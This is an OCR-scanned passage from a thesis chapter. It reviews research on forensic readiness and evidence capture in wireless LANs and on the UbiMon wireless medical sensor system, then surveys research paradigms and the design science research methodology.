Ngobeni et al., 2010, p. 107). The WLANSs users have the advantages of mobility
and flexibility due to the nature of wireless, but they also need to be aware that
these networks are the main target of malicious cyber-attacks. Hence, the digital
forensics of WLAN is valuable for acquiring digital evidence (DE) associated
with malicious activities.

Ngobeni et al. (2010, p. 107) firstly states that WLAN digital forensic
(WLAN-DF) entails “the application of methodologies and tools to intercept and
analyse wireless network events for presentation of digital evidence in a court of
law”. The key challenges of performing DFI in WLANs and the techniques
required were outlined. Subsequently, the authors identified the possible
WLANSs’ criminal misuses. For instances, the “WLAN detection and connection”,
the “concealment of digital evidence” and the “WLAN as an attack vector” were
classified as WLANs misuses (Ngobeni et al., 2010, p. 108). The sources and
acquisition of DE could be determined by the particular wireless device. However,
the absence of a physical footprint due to the nature of wireless devices is the
critical challenge for identification of the wireless devices (Turnbull & Slay, 2008
cited in Ngobeni et al., 2010). The issues relating to losing DE while identifying
and acquiring DE during DFI are often due to huge amount of network traffic and
the limitations of different DF tools such as “Wireshark, Kismet and AirCapture”
(Ngobeni et al., 2010).

WLAN-DFI investigation requires phases in the DF processes, such as
defining “the scope an goals of the investigation”, determining “the work and
material”, acquiring “the images of the devices to be examined”, performing “the
digital forensic analysis” and preparing “the report” must be performed (Ngobeni

et al., 2010, p. 109). Likewise, the phases for DF process for the renowned and
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recognised DF tools used in DFI are elaborated and compared with WFRM (as
shown in Table 6.1). However, the phases in DF processes for DF tools are not the
same due to the lack of standardisation (Ngobeni et al., 2010).

Table 6.1: Digital Forensic phases for EnCase, FTK and WFRM
(Ngobeni et al., 2010, p. 110)

Encase FTK WFRM

1. Preview 1. Detection 1. Monitoring
2. Imaging 2. ldentification 2. Logging

3. Verification 3. Analysis 3. Preservation
4. Recover and Analysis 4. Preservation 4. Analysis

5. Restoration 5. Reporting 5. Reporting
6. Archiving

The main purpose of DF readiness is to reduce in the cost, and time of incident
response and investigation, whereas the credibility of the DE being acquired has
to be maintained (Endicott-Popovsky et al., 2007, cited in Ngobeni et al., 2010).
The malicious attacks could be promptly and effectively responded by
organisations that implement DF readiness (Ngobeni et al., 2010). As a result, the
organisation that has implemented WLANs should be “forensically ready” in
order to collect and store DE prior to the occurrence of malicious attacks.

The researchers (Ngobeni et al., 2010) mentioned that monitoring wireless
network traffic at access points is the utmost significant characteristic of the
proposed WFRM (Figure 6.2). The traffic monitored is stored in a log files and its
integrity has to be preserved. DE availability is required that minimises the DFI
cost.

Consequently, the phases of DF processes relating to the proposed WFRM
(such as “monitoring, logging, preservation, analysis and reporting”) are detailed
(Ngobeni et al., 2010, pp. 111-112). In the first phase of WFRM, all wireless
access points (APs) have to be modified in order to monitor all network traffic
created by the connected devices. Filtering “inbound and outbound wireless
traffic” by using a firewall is also implemented on the devices or components
monitored (Ngobeni et al., 2010). In the second phase, each AP being monitored
must log the network traffic into its individual “capture unit (CU)”. Then, the
traffic logged should be splited into smaller chunks of data (LMB) and stored in
separate areas, such as “a fixed-size block of data” (B1, B2 and so on in Figure
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6.2). It is transferred to “permanent storage” once the CU’s buffer is full
(Ngobeni et al., 2010, p. 111).
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Figure 6.2: Wireless forensic readiness model (Ngobeni et al., 2010, p. 112)

The third phase of WFRM is preservation in which each data block accumulated is
sent to “the evidence store (ES)” and the computed hash value for each data block
is also stored in “the hash store (HS)” by the CU (Ngobeni et al., 2010, pp. 111-
112). Hence, the preservation of logged data can be maintained in order to check
the integrity of the DE. The last two phases of WFRM are analysis of acquired DE
and producing a report, respectively. In order to validate the use of the proposed
WFRM, the researchers used AnyLogic Professional (version 6.0) tool for
simulation of the prototype (Figure 6.3). AnyLogic Professional is “a Java-based,
multi-paradigm, hybrid simulation tool capable of modeling systems as a
combination of discrete events, system dynamics and agent” (Ngobeni et al., 2010,
p. 112).

Ngobeni et al. (2010) further elaborates the way in which the integrity of
DE is maintained by implementing the mechanism for integrity checking in the
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WFRM prototype. Any original block of data stored in the ES can be hashed and
compared with that of the same block of data from HS to verify the data integrity

and tampering.
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Figure 6.3: WFRM during the simulation (Ngobeni et al., 2010, p. 113)

Hence, the data was logged by CU and preserved by “ES and HS” during the
simulation conducted by the researchers (Ngobeni et al., 2010). However, the
monitoring of wireless network traffic by a wireless AP was not applied in the
WFRM prototype.

In addition, the researchers also discussed how time and money could be
saved by having a forensic readiness system in an organisation. If DF
investigation needed to be performed in the case of a WLANs compromise, there
would be instant availability of DE for investigation and most of the DF processes
could be finished quickly by implementing WFRM (Ngobeni et al., 2010). On the
other hand, one of the drawbacks of deploying WFRM is the requriement of large
storage areas for preserving the wireless network traffic. However, the cost of
buying larger storage is getting cheaper and hence the problem of reqiring large
data storage for WFRM is no longer an issue. Therefoere, in conclusion, Ngobeni
et al. (2010, p. 116) gives details of how to structure DF processes and states that

“further research is needed to address the storage issue” for WFRM.

6.1.2 Systems Architecture for the Acquisition and Preservation of Wireless
Network Traffic

The research study conducted by Cusack and Laurenson (2011) was presented at
the “9™ Australian Digital Forensics Conference”. Even though IEEE 802.11

wireless local area networks (WLANS) are beneficial to businesses to provide
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flexible network connections and extension of wired networks to its users,
“unauthorised application and specific attacks” can be performed by malicious
attackers due to the nature of data transmission happening over in the medium of
air (Karygiannis & Owens, 2002; Slay & Turnbull, 2006; Varshney, 2003; cited in
Cusack & Laurenson, 2011, p. 48). Hence the criminal misuse of ubiquitous
WLANS can occur. As a result of inheriting potential criminal misuse by wireless
networks, the researcher proposed a “Wireless Forensic Model (WFM) system” to
acquire and preserve 802.11 wireless frames by using “a wireless drone
architecture” (Cusack & Laurenson, 2011, p. 48).

In the first section, the researchers presented an overview of wireless
forensics in which the potential locations of digital evidence (DE) from WLANSs
and two previous network forensic models were discussed based on the literature.
The potential DE (Cusack & Laurenson, 2011, p. 49), “either Live or Post-
Mortem sources of evidence”, can be extracted by intercepting or capturing traffic
of the wireless network and “performing traditional computer forensic processes
on embedded wireless devices and/or client’s wireless devices” respectively.
However, other researchers (Turnbull & Slay, 2008, cited in Cusack & Laurenson,
2011) convey that the ways in which the information related to DE is to be
collected and its extraction in WLANS, may depend on the configuration of the
operating system and the wireless devices (for instance, wireless-enabled laptops
and routers or access points) used. Hence, Casey (2004) stresses that it is
challenging to have the network traffic as a source of DE due to losses of potential
evidence that will possibly arise from insufficient DE collection systems. The two
network forensic models (Cusack & Laurenson, p. 49) are “a theoretical Wireless
Forensic Readiness Model (WFRM)” and “a Forensic Profiling System (FPS)”.
Ngobeni and Venter (2009) and Yim et al. (2008) correspondingly, provide how
to forensically perform DF processes from the captured network traffic (e.g. logs)
of different wireless access points (WAPSs), and intrusion and detection systems
(IDS), if WLANS are compromised by denial of service (DoS) attacks.

In the second section, the researchers explained the system design and
components of the proposed WFM system in order to passively acquire and
preserve the wireless traffic between wireless devices as a source of DE. Two sub-

systems: “the Wireless Drone” (WD) and “the Forensic Server” (FS), are included
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in the proposed system architecture (see Figure 6.4) to acquire traffic from a
specific WAP by WD, and store the data collected in a centralised FS (Cusack &
Laurenson, 2011).
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Figure 6.4: WFM system architecture (Cusack & Laurenson, 2011, p. 50)

The detailed information relating to sub-systems of the WFM explained in the
article is summarised in Table 6.2.

Consequently, the proposed WFM model was implemented and tested to
evaluate its capabilities after specifying the testing environment. Moreover, the
researchers mentioned that the WFM was deployed after the “existing WLAN” was
firstly implemented and benchmarked. The benchmark testing offered the
baseline performance of the WLAN, and also specified the capabilities of the
WLAN (Cusack & Laurenson, 2011). Hence, a total of five “bandwidth tests”
(one minute each) between the legitimate AP and STA was performed by using
“the iPerf application” with “an average result of 26.54Mbps aligning with real-
world 802.11g bandwidth capabilities” (Cusack & Laurenson, 2011, p. 51).
Similarly, the “Multi-Generator (MGEN) application” was used for generating
network traffic between wireless devices to test “a packet per second (PPS)”
(Cusack & Laurenson, 2011, p. 51). According to the findings from the five
conducted tests, the “existing WLAN” was able to support a maximum of almost

“3700PPS” without delay in transmission.
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Table 6.2;

Laurenson, 2011, pp. 50-51)

Components of the implemented test environment (adapted from Cusack &

Summarised sub-system components of WFM

Card (NIC).

iuj};?:i}:; Hardware Specification Software Installed Purpose
A personal computer with a | Ubuntu Desktop Linux | For  storing  and
4GB of RAM, an Intel Dual- | Operating System | preserving the
Forensic Server | core Central Processing Unit | (OS) and the wireless | collected data
(FS) (CPU) and a Gigabvte | sniffing application | forwarded by WD.
‘ Ethernet Network Interface | (Kismet).

Wireless Drone

A WAP with a chipset
supporting passive wireless

monitoring mode, Gigabyte

OpenWRT embedded
Linux OS and Kismet
application.

For capturing IEEE
802.11 wireless raffic
and forwarding the

(model TL-WRI043ND)”.

Wireless Client

Components of the Implemented T est Environment

An Apple MacBook with a

IEEE 802.11g

(WD) NIC and high power CPU. collected data to the
FS.
Existing WLAN Setup
Component Hardware Specification Operation Mode Network Encryption
B A “TP-Link wireless router Wi-Fi Protected
Legitimate AP

Access version 2 Pre-
Shared Key (WPAZ-
PSK)

adapter rumming the Backtrack
4 05,

built-in ~ wireless network
($T4) adapter (4irPort Xtreme).
Atacker Component
Component Hardware Specification Operation Mode Purpose
A laptop computer equipped For conducting attacks
with an external wireless such as DoS and
Attacker IEEE 802 11g

FakeAP against the
“Existing WLAN™.

Then, the proposed WFM was integrated into the existing wireless network by

using the components mentioned in (Table 6.2). In order to benchmark the WFM,

the initial testing for the implementation of WD and FS were performed. After

testing numerous available wireless routers, the researchers selected "Ubiquiti

RouterStation Pro™ as the hardware platform for the WD. It enabled OpenWRT

firmware to run and provide Gigabyte Ethernet, and also the operations of several

mini-PCI wireless NICs (Cusack & Laurenson, 2011). Hence, the capability of

capturing network packets by WD was examined during the testing stage. The

WD was eventually implemented by using "RouterStation Pro with dual Ubiquiti

XtremeRange2 (XR2) mini-PCI wireless adapters™ and a customised "OpenWRT

firmware, athSk wireless drivers and Kismet (version 2010-07-R1)" in order to
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forward collected data to the FS (Cusack & Laurenson, 2011, pp. 51-52).
Similarly, the FS was also implemented with hardware and software specified in
Table 6.2. In addition, the "libpcap (version 8.0)" application was used on FS to
support packet capture whereas Kismet was set up in “server mode to collect and
store all network traffic defined by available sources". “Network Time Protocol
(NTP)” was implemented for “synchronisation of time between WFM devices”
(Cusack & Laurenson, 2011, p. 52). However, the researchers have manually
preserved the collected DE by applying the “md5sum” hashing tool on the
“Kismet’s log files” in order to generate “unique Message Digest (MD5)” values.
Subsequently, the log files collected were “stored on two separate partitions and
mounted as read-only for data analysis” (Cusack & Laurenson, 2011, p. 52). The
benchmark testing of the proposed WFM was performed by using the “MGEN”,
and the benchmarking methodology used the “existing WLAN” after the
bandwidth testing between the FS and the WD. A five minutes duration for each
test was done to verify whether the WFM could process the utmost network traffic

rates for the extended period (Cusack & Laurenson, 2011).

The analysis of the captured data and the decryption of "WPA2-PSK
encrypted wireless network traffic” between the WAP and the STA client were
performed by using a network protocol analyser, Wireshark (Cusack &
Laurenson, 2011, p. 52). It was stated that the benchmark acquisition results were
calculated according to the number of "frames generated by MGEN" and "frames
acquired by the WFM" (Cusack & Laurenson, 2011, p. 52). Even though the
acquisition result of the wireless traffic was nearly perfect (approximately 100%
at 2200PPS), the results were not based on the acquisition of acknowledgement
frames (Cusack & Laurenson, 2011).

The researchers initiated malicious attacks such as denial of service (DoS)
and “Fake AP” five individual times (at five minutes each) on the implemented
WLAN, once the benchmarking processes were done. Hence, the two wireless
adapters were installed and configured on WD “to monitor the wireless traffic of
AP channel” and “to hop between the remaining available channels in the 2.4GHz
ISM band”, respectively (Cusack & Laurenson, 2011, pp. 52-53). Likewise, IDS
was run on the FS by using built-in intrusion rules of the Kismet application in

order to generate alerts during malicious attacks.
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According to the acquisition results, the proposed WFM was able to collect the
frames (over 90%) related to DoS attacks and the useful information for forensic
investigation (“such as source MAC address, timestamp, frame type and sequence
number”) could be found in each of the frames collected (Cusak & Laurenson,
2011, p. 53). However, Fake AP attacks were unable to accurately acquire (only
just over 60%) as because the attack happened on another channel than the AP
channel.

In conclusion, the researchers Cusack & Laurenson (2011, p. 54) state that
there are numerous potential issues with the implemented WFM such as "attack
detection capabilities, data loss and the effect of monitoring a large scale WLAN
with multiple APs". For instance, it is impossible to acquire 100 % of potential
DE although the loss of data can be reduced from a live evidence source by using
the proposed WFM. Likewise, it is also difficult to associate the acquired
evidence to the physical, Media Access Control (MAC), address of the malicious
attacker's laptop (if MAC spoofing is implemented) even though the proposed
WFM s able to acquire and preserve the DE of the attacks performed (Cusack &
Laurenson, 2011). Similarly, the wireless attack detection is unable to function
due to deficiencies in the IDS during the experiment. Nonetheless, the researchers
claim that their proposed WFM is capable of acquiring and preserving "wireless
network traffic from a live source of evidence" to later perform the DF
investigations (Cusack & Laurenson, 2011, p. 54). For my research this is
valuable information regarding how to conduct such experiments and guidance on

best practices when managing the experiments.

6.1.3 Digital Forensics of Wireless Systems and Devices: Technical and Legal
Challenges

Wireless systems and devices have been deployed and utilised in home and
enterprise networks (Achi, Hellany and Nagrial, 2009). However, the growing
deployment of such systems and devices has many security vulnerability problems
and issues to not only the consumers, but also to the enterprises or organisations.
The misuse of such networks and devices can simply be caused by malicious
attackers (internal or external) due to the inherent weaknesses in wireless. This

research paper discusses the current technical and legal challenges related to the
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digital forensic investigation (DFI) of wireless systems and devices, and will
provide strong contextual guidance for my research methodology.

In the introductory section, Achi et al. (2009, p. 43) highlights the reasons
why forensic investigators (FIs) working for Law Enforcement Agencies (LEA)
encountered technical and legal challenges throughout the DFI and “collection of
digital evidence (DE) leading to analysis and presentation at courts of Law”. For
instance, the researchers claim that “there is no one standard which can be
followed across one nation not to mention across the world, LEA are using tools
at hands during their investigations, and thus making the e-evidence subject to
scrutiny by other legal and technical experts and hence subject to rejection by the
court” (Krone, 2004, cited in Achi et al., 2009, p. 43).

The components of a wireless system (see Figure 6.5) such as wireless

access devices (Personal Digital Assistants or PDASs), 802.11b wireless LAN and

wireless access points are explained in terms of their relational architecture.
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Figure 6.5: Network diagram of Wireless system and devices (Achi et al., 2009, p. 43)
Consequently, technical and legal challenges faced by DF investigators of LEA
during the investigation relate to the technology and the vulnerabilities or non-
performances. With respect to the technical challenges, the researchers (Achi et al.,
2009) stressed that the potential DE or electronic evidence (such as wireless
devices that are turned off) could be lost during the DF investigation even though
numerous DF tools had been developed to work well with acquiring static

evidential data (examples: system logs, hard disks, physical memory). Hence, DF
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investigators have to establish correct procedures in which the wireless devices
need to be seized (by performing a comprehensive passive scanning of the
network), and how and when to acquire the potential DE. The potential DE can be
found in different media or locations (e.g. log files, routers, switches, servers,
PDAs, laptops, etc.,) and therefore there exists particular challenges in the
acquisition of DE from “magnetic devices or volatile memory” (Achi et al., 2009,
p. 44). Legal challenges come from specific forensic acquisition methods or
techniques that are critical to verify the integrity and validity of the evidence
acquired. The volatility characteristic of DE raises the problem of admissibility of
DE in a court of law (Achi et al., 2009). Thus, DE is not comparable to any forms
of traditional evidence when very precise investigation or rigourous examination
is essential to be admissible to the court of law. Similarly, the researchers state
that the definitions of law and DE in different places could not be the same due to
various standards and acceptance levels of DE by “Courts of Law” in different
“countries or even states of one country” (Achi et al., 2009, p. 44). As a result,
LEA can encounter barriers when: acquiring DE from systems, prosecuting
perpetrators located in “foreign countries where there are no extradition
agreements”, and getting search warrants and “obtaining open warrants for
scanning wireless interfaces without substantial proofs for potential evidence of
crime” (Achi et al., 2009, p. 44).

Subsequently, in the fourth section, the researchers briefly described the
current issues related to the DF of PDA devices. The issues originate from the
rapid development of PDAs. All PDA family devices provide users with “a set of
basic Personal Information Management (PIM) application” and “can
communicate wirelessly, review electronic documents, and surf the internet”
(Achi et al., 2009, p. 45). Likewise, PDAs could be synchronised with personal
computers (PCs) while other researchers (Jansen & Ayers, 2004, cited in Achi et
al., 2009, p. 45) stated that the reconciliation and replication of PIM data between
such wireless devices could also be done by “using synchronisation protocols
such as Microsoft’s Pocket PC ActiveSync and Palm’s HotSync protocols”. Hence,
the researchers acknowledge the legal issue with the validity of DE when there
exists the risk of obtaining potential DE from a PC to which the PDA had been

synchronised (Achi et al.,, 2009). Moreover, the technical issue of “the
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development of a new tool with open architecture allowing for a broad range of
models” (Achi et al., 2009, p. 45), is pointed out in this article since the newer
PDA models have different functions to the previous ones. As a result, DF tools
should be updated to keep up with the changes.

In the fifth section, the researchers discuss the problem with tracing back
to malicious wireless intruders or hackers as their physical locations could not be
precisely detected or identified. The internet service providers (ISP) are mostly
the end point of an investigation where DF terminates when intruders cover their
digital tracks. To identify intruders, the frequency monitoring or scanning
(RFMON) has to be performed to find the initiation of attacks and then existing
Internet Service Provider (ISP) information gained to find the gateway used by the
intruders to carry out the attacks. Hence, the researchers reviewed two DF
methods in order to trace-back the malicious wireless hackers based on the
previous literature. To solve the problem with “tracing and locating wireless
hackers”, previously proposed techniques to locate the intruders of WLANS such
as “closet AP”, “triangulation” and “RF finger printing” were briefly outlined
(Velasco & Chen, 2008, cited in Achi et al., 2009, pp. 45-46).
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Figure 6.6: WLAN access with Directional antenna into Omni-directional AP
(Achi et al., 2009, p. 45)
However, these techniques still prove inadequate or imprecise when the
directional antenna with high transmitting power (Figure 6.6) is used by the
intruders to connect to WLANS outside the detectable range. The information is
useful for this research because it places limitations on scope and limitations for

exploring in this area.
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6.1.4 Ubiquitous Monitoring Environment for Wearable and Implantable
Sensors (UbiMon)

The research conducted by Ng et al. (2004), “Ubiquitous monitoring environment
for wearable and implantable sensors (UbiMon)”, was presented at the “6th
International Conference on Ubiquitous Computing” in 2004. As a result of the
developments in monitoring and sensing devices, wireless sensor networks
(WSNSs) are significant in providing the ubiquitous monitoring of patients in the
healthcare industry. The perception of ubiquitous health monitoring has been
established comprehensively and significantly in clinical applications (Jovanov et
al., 2001; Wilson et al., 2000; Koval & Dudzaik, 1999, cited in Ng et al., 2004).
However, there are several problems that need to be addressed in relation to
employing such wearable and implantable sensors in body sensor networks for
ubiquitous health monitoring. Hence, the purpose of this paper is to provide
“continuous management of patients under their natural physiological states so
that transient but life-threatening abnormalities can be detected and predicted”
(Ng et al., 2004, p. 1).
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Figure 6.7: UbiMon system design (Ng et al., 2001, p. 1)
Firstly, the researchers presented the UbiMon system architecture (Figure 6.7).
The architecture (Ng et al., 2004, p. 1) was composed of “the body sensor network
node (BSN node), the local processing unit (LPU), the central server (CS), the
patient database (PD) and the workstation (WS)”.
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A wireless BSN node, with or without battery, is to monitor a patient’s
physiological parameters and the node can be integrated with “a wearable or
implantable physiological biosensor such as the electrocardiogram (ECG), blood
oxygen saturation (SpO2) or temperature sensors” (Ng et al., 2004, p. 1).
Moreover, the BSN node can be equipped with the context aware sensor (e.g. an
accelerometer) in order to monitor the movement of the patient. The LPU (Ng et
al., 2004) is a portable device (either a PDA or a mobile phone) and can be
referred to as the base station that collects and processes the data acquired by BSN
nodes (see Figure 6.8). Furthermore, Ng et al. (2004) stated that the LPU was
intended to uncover irregularities and deliver instant warnings to the patients.
Likewise, the LPU is also considered as “a router between the BSN nodes and CS
via short-range wireless communication standards such as Bluetooth/Wi-Fi or

another long-range mobile network such as 3G/GPRS” (Ng et al., 2004, p. 1).

Figure 6.8: An ECG module (BSN node) communicating with the base station en-
slotted to the PDA (LPU) (Ng et al., 2001, p. 2)
The CS receives the real-time sensor data from the LPU, stores the collected data
to the PD, and performs the long-term trend analysis to predict the condition of a
patient (Ng et al., 2004). Hence, any possible life-threatening anomalies or
irregularities can be avoided. Likewise, the WS or patient monitoring station is
either a portable device or a personal computer for allowing clinicians to examine
the patient physiological data. Therefore, the clinicians can see and retrieve either
real-time monitoring or the history of patients’ data to perform the diagnosis.
Subsequently, the researchers discussed the prototype of UbiMon system
that was developed for patients with heart diseases. A small-scale BSN node was
designed based on the Berkeley mote (Mica2 Dot) with an ECG sensor to
interface with the PDA as the LPU (see Figure 6.8). Hence, software for the BSN

node was written based on TinyOS to collect sensor data and transfer it to the
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LPU whereas the base station was designed by “using the MICA2 Dot with a
serial interface connected to the PDA” (Ng et al., 2004, p. 2). However, a
lightweight protocol with a special frequency channel access method, time
division multiple access (TDMA), was used when developing the BNS node
software as a result of the high data rate required by ECG signals (Ng et al., 2004).
Furthermore, in order to collect context-aware sensor data, LPU software was also
developed for displaying the data gathered (e.g. real-time ECG signals) and
identifying patient’s activities. Afterwards, the data collected by LPU was routed
to the CS via Wi-Fi or GPRS and hence the collected data was then stored in PD.
In addition, Ng et al. (2004) developed a specific software (graphical user
interface) for WS, which could retrieve patients’ data from the backend database.
Thus, the clinicians could retrieve and examine patients’ data by using the

developed WS software (Figure 6.9).
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Figure 6.9: Graphical user interface of Workstation software (Ng et al., 2001, p. 2)

To sum up, the UbiMon system has delivered not only the basic architecture for
wireless biosensor (wearable and implantable) modules; but also provided the
system “architecture for collecting, gathering and analysing data from a number
of biosensors” (Ng et al., 2004, p. 2). Furthermore, UbiMon provides the aspect of
context awareness in the system to enable acquiring of any relevant clinical event.
Therefore, this is useful context-awareness information and also detailed

information on how to go about this type of research.
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6.2 RESEARCH THEORY

Selecting the appropriate research paradigm is important for achieving any
research project objectives. As this research is related to Information Systems (IS),
it is essential to consider the available research paradigms and methodologies in
the area in order to identify the most suitable one to fulfil the aims of this research.
The objective of the research is to design a forensically ready wireless medical
system. The previous studies reviewed have delivered guidance from how others
have investigated the problem area. The review in Section 6.1 is helpful for
identifying approaches and also the tools and techniques used. In particular,
Figure 6.5 provides a starting point for this research. The researchers provide a
network architecture for forensic readiness. This is the ideal starting point for this
research and the first artefact input to a Design Science improvement
methodology. For the purpose of the design science methodology, the digital
forensic readiness models are the artefacts of interest and the artefact that is
subjected to evaluation and continuous improvement processes. The following

sections review potential research paradigms and methodologies in IS research.

6.2.1 Research Paradigms

Research is commonly referred to as “a search for knowledge” and also defined as
“the art of scientific investigation” (Kothari, 2004, p. 1). It is essential to select the
research paradigm most suited to this research before defining the research
methodology and methods. According to Crotty (1998), a methodology is defined
as an approach, an action plan, a process or a strategy that comprises a collection
of research methods. Similarly, Hewitt (2009, p. 7) states that methodology is
matters relating to “the structure and design of the research study”. Thus, a
research methodology is a guide for the way in which a research project is to be
done or the way in which the research problems are to be addressed. Moreover,
Creswell (2011) states that the researcher will choose a research method either
quantitative, qualitative or mixed research methods based on the purpose of the
research and research questions. The different nature of quantitative, qualitative
and mixed research, including the benefits and deficits will be reviewed in the

following sub-sections.
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6.2.2 Quantitative Research

In quantitative research, the researcher understands the research problem related
to measurable attributes or based on the demand to explain why something
happens. Quantitative research begins with understanding the main variables in
the research. After identifying the main variables in the research, the researcher
tries to understand the relationship between variables in the study such as how one
variable relates to another variable or to expose the source of particular events
(Flick, 2015). In a quantitative literature review, there will be a correlated amount
of literature supporting the research question and measurement tools. That is why
the literature review takes the lead role in two different ways in order to explain
the necessity for the research problem and to show the potential research
questions and intent for the research study (Creswell, 2013). Consequently, the
researcher tries to understand and predict the result of the relationship between
variables by using questions and hypotheses. Similarly, hypotheses are further
refined to obtain observable and measurable data from specific variables that are
suitable for the research (Creswell, 2013). For quantitative data collection, the
researcher has to use a tool that allows observing, measuring and documenting the
data. This type of tool has to include suitable questions and reactivity that the
investigator sets up or develops before the research begins. According to Creswell
(2013), there are two types of research designs for collecting data in quantitative
research: surveys and experiments. In data analysis, statistical studies for
examining the data may include breaking data into sections to answer the research
questions. For instance, statistical methods such as contrasting relevant values or
groups of interest for individuals give data to solve the hypotheses or research
questions. Then, the researcher evaluates the findings related to research questions
or hypotheses and defines the result as either negative or supports the desirable
predictions of the research (Creswell, 2013). Therefore, the structure of the
research follows a predictable model including: an introduction, literature review,

design methods, search results and discussion.

6.2.3 Qualitative Research

In a qualitative research problem, the researcher does not know which variable

should be studied. The previous research or literature may expose information
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about the central phenomenon. The idea, key concept or procedures studied in the
research may be structured or left open, so the investigator needs to study in an
exploratory fashion and get more data from the participants and the context.

The literature review in qualitative research plays a negligible role in the
beginning of research compared with the extent in quantitative research (Creswell,
2013). The qualitative research is concerned more with the participants in the
research and the literature is used to justify the choice of research methods. The
research questions in qualitative research may be specified so the investigator has
to collect data from participants in a particular way, such as interviews, or they
may arise from the field as the researcher investigates. Also the qualitative
purpose statements include the central phenomenon information, the participants,
and the research site which is studied in the research. The investigator may
differentiate between research questions and concentrate on the practicable data
and look for repetition and other verification or explore new appearances that
arise in the processes of investigation (Flick, 2015).

In qualitative research, there are two main ways to collect data:
questionnaires or interviews. The investigator shapes protocols (or forms) based
on the discovered data which were collected from the participants in the research
for indicating information as the research proceeds. These forms shape questions
which allows an investigator to collect the participants’ answers. However, the
questions often change and may be replaced during the research data collection.
These forms contain an interview protocol which includes several questions or an
observation protocol which the investigator collects the data around about the
conduct of the participants. In addition, the investigator can collect the
information from texts, pictures, audio data, and so on, and generally uses a
database with aggregation mining tools for data/thematic analysis. Research
analysis proceeds using methods for text segmentation. It is analyses of the text
including the separating into groups of sentences and specifying the definition of
each sentence. The researcher uses pictures or words to explain the main
phenomenon in the report and to show the results of the research which explains
specific places, people or themes, for the large categories in the research.

In qualitative research, the researcher can choose different types of

structure to suit the data collection and analytical strategies. To show the research

99



result more attractive, narrative text is the most common form of exhibiting
qualitative data. The research report is written in narrative and descriptive forms
rather than scientific report format. The report also needs to contain reliable and
accurate data to express the difficulty of the processes used and volatility of the
phenomenon. In addition, the researcher needs to explain their role in the research
that includes their personal discussion, opinions, how they co-operate with
participants and their experiences during the research. They must include any

relevant matters and relationships that the researcher has contributed to the study.

6.2.4 The Mixed Method Paradigm

There are many approaches that do not fit either quantitative or qualitative
requirements or may fit either or both. Such approaches fall into a mixed methods
approach to research. Design science (DS) is one such approach that may
accommodate both worlds. It is “for developing scientific knowledge about the
problem domain, including artefact, and engineering knowledge about carrying
out design” (Fleming, 2009, p. 134). However, Fleming (2009) claims that the DS
paradigm provides the way in which the process of research should progress and
what is required to be addressed in the research to assure its quality, instead of
giving the direction on how the artefact should be designed. Moreover, Fleming
(2009) also argues that the research rigour requirements are commonly in conflict
with a major requirement of DS, which is related to real business problems. As a
result, a DS paradigm should provide a framework that addresses the problems

related to research rigour rather than specifying ridged requirements.

6.3 DESIGN SCIENCE RESEARCH METHODOLOGY

Design science research methodology (DSRM) is proposed by Peffers et al. (2007,
p. 1) in order to achieve “a commonly accepted framework for DSR” by
integrating “principles, practices, and procedures required to carry out DSR” in
information systems. To provide a proof of concept, the proposed DSRM is
evaluated by using four IS case studies. There are six process elements in the
proposed DSRM (Figure 6.10), which are based on peer accepted elements and
are derived from previously published papers (Nunamaker et al., 1991; Walls et
al., 1992; Archer, 1984; Eekels & Roozenburg, 1991; Takeda et al., 1990; Rossi
& Sein, 2003; Hevner et al., 2004; Peffers, 2007, p. 52).
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The first process of the DSRM is the “problem identification and motivation” as it
Is important to define the particular research problem that will be employed in the
development of an artefact and effective solution. The value of such a solution can
be achieved by motivating “the researcher and the audience of the research to
pursue the solution and to accept the results and it helps to understand the
reasoning associated with the researcher’s understanding of the problem (Peffers
et al., 2007, p. 55)”. Hence, the knowledge of the state of the problem and the

importance of its solution are required resources for the process stage.

Process Iteration
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Figure 6.10: Design Science Research Methodology Process Model (Peffers et al.,
2007, p. 54)

The second process of DSRM is to “define the objectives for a solution” from the
definition of the problem and knowledge of feasibility (Hevner, March, Park, &
Ram, 2004; Cole, Purao, Rossi, & Sein, 2005). The objectives should be deduced
from the problem specification and could be quantitative or qualitative. For
instance, the quantitative objective can be “a desirable solution would be better
than current ones (Peffers et al., 2007, p. 55)”. Similar to the first process stage,
the knowledge of the state of problems and current solutions, if any, and their
efficacy are required as resources in this process stage.

The third process is to “design and develop” the artefact, which can be
“constructs, models, methods, or instantiations” or “new properties of technical,
social or informational resources (Jarvinen, 2007, p. 49 cited in Peffers et al.,
2007, p. 55). According to Peffers et al. (2007), a conceptual DS artefact is an
artefact in which a research contribution is embedded in the design. The
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architecture and desired or required functionality of the artefact is indispensable
for creating the tangible artefact, and therefore theory knowledge is an essential
resource in a solution (Hevner & Chatterjee, 2010; Gregor & Hevner, 2013;
Drechsler & Hevner, 2016).

1. Design as » Research developed with the design sdience research method must produce viable
artifact artifacts in the form of a construct, model, method or instantiation

2. Problem * The purpose of design science research is to develop sclutions to solve important and
relevance relevant problems for organizations

* The utility, quality and efficacy of the artifact must be rigorously demonstrated via well-
executed evaluation methods

* Aesearch conducted by the design science research method must provide clear and
verifiable contnbutions in the specific areas of the developed arfifacts and present clear
grounding on the foundations of design and/or design methodologies

» Research should be based on an application of rigorous methods in both the construction
and the evaluation of artifacts

5. Research rigor

6. Design as a * The search for an effective artifact requires the use of means that are available to achieve
: ':gn the desired purposes, while satisfying the laws governing the environment in which the
e problem is being studied

7.
Communication * Aesearch conducted by design science research must be presented to both an audience

that is more technology-oniented and one that is more management-oriented
of the research

Figure 6.11: Criteria for conducting design science research (Hevner et al., 2004, p. 83
cited in Dresch, Lacerda, & Antunes Jr., 2015, p. 70)

The fourth process is the “demonstration” of the artefact application in order to
answer one or more cases of the problem by using “experimentation, simulation,
case study, proof or other appropriate methods” (Peffers et al., 2007, p. 55). Thus,
the effective knowledge for utilising the artefact to answer the problem is an
important resource in this process stage. The fifth process is the “evaluation”, in
which the artefact is assessed as to how well it provides a solution to the problem.
The effectiveness and efficiency can be observed and measured by evaluating “the
objectives of a solution to actual observed results from the use of artefact in the
demonstration” (Peffers et al., 2007, p. 56). As a result, the knowledge of relevant
metrics and analysis methods are necessary in this stage. However, the artefact
evaluation may be different depending upon the nature of the problem context.
For instance, the evaluation may be done by comparing the functionality of the
artefact with the solution objectives from the second process of the DSRM
process model, in addition to other quantitative evaluation methods such as

surveys, client feedback, or simulations (Peffers et al., 2007).
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Nevertheless, the evaluation should conceptually consist of any suitable empirical
or pragmatic evidence or plausible proof (Kleinschmidt & Peters, 2017). After
completing the evaluation process, the researchers can make a decision as to
whether to iterate back to the third process phase “to try to improve the
effectiveness of the artefact or to continue on to communication and leave further
